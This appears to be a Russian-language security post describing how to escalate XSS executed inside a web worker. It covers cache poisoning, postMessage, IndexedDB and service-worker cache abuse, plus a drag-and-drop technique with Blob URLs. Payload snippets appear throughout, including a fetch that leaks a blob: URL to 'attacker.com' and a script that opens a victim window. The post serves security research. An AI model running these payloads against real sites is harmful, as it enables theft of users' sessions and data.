Один из пограничных кейсов XSS — пэйлоад, выполняющийся внутри веб-воркера. Веб-воркеры исполняют JS в том же origin, но в изолированной среде: они лишены доступа к DOM,
window.open(), alert() и другим обычным window-API, которые доступны при классической XSS.🚨 Доступные методы эксплуатации
1️⃣ Fetch API
fetch() в воркерах работает в том же origin, что и main window — значит с запросами отправляются куки, и при корректных CORS-заголовках можно читать ответы.// Отравление кеша
fetch("https://example.com/script.js", {
headers: { "X-Forwarded-Host": `"-alert(origin)-"` },
cache: "reload"
});
2️⃣ postMessage
Воркеры могут отправлять сообщения в main window через
postMessage(). Если окно получает данные и вставляет их в DOM или выполняет eval без валидации — это путь к эскалации в полноценную XSS.// main window
const worker = new Worker("worker.js");
worker.addEventListener("message", (e) => {
alert(e.data); // потенциальная точка уязвимости
});
// worker.js
postMessage("Hello, world!");
3️⃣ IndexedDB
Единственное общее хранилище между воркером и основным окном — можно читать/изменять данные.
4️⃣ Отравление кэша service воркера
В
WorkerGlobalScope доступен объект caches, общий для страницы и service воркера. Если использует кэш, воркер может перезаписать записи в cache storage — это дает вектор для XSS.💨 Новая техника: Drag & Drop с Blob URL
Идея простая: создаешь HTML как
Blob, получаешь для него blob:-URL (URL.createObjectURL(blob)), а затем заставляешь браузер открыть этот URL в обычном контексте (не в воркере).blob:-URL имеет тот же origin, поэтому при открытии выполнится с доступом к DOM и localStorage.Проблема: навигация на
blob:-URL напрямую часто блокируется. Решение — «утечка» URL и интерактивный шаг пользователя:const blob = new Blob(['<script>alert(origin)</script>'], {type: "text/html"});
const url = URL.createObjectURL(blob);Процесс атаки:
1. В воркере создаешь Blob с финальным пейлоадом:
fetch("https://attacker.com/leak?" + new URLSearchParams({ url }));2. Линкуешь этот
blob:-URL наружу:fetch("https://attacker.com/leak?" + new URLSearchParams({ url }))3. Подготавливаешь подконтрольную страницу для drag & drop:
<a href="blob:https://example.com/...">Перетащи меня</a>
<script>
ondragstart = (e) => {
window.open("", "", "left=0,top=0,height=9999,width=9999");
e.dataTransfer.clearData();
e.dataTransfer.setData("text/uri-list", "blob:https://example.com/...");
}
</script>
⤵️ Результат
Когда пользователь перетаскивает элемент, открывается полноэкранное окно, и при отпускании мыши
blob:-URL открывается в новой вкладке, выполняя XSS с доступом ко всем API. Работает как минимум в Chrome!

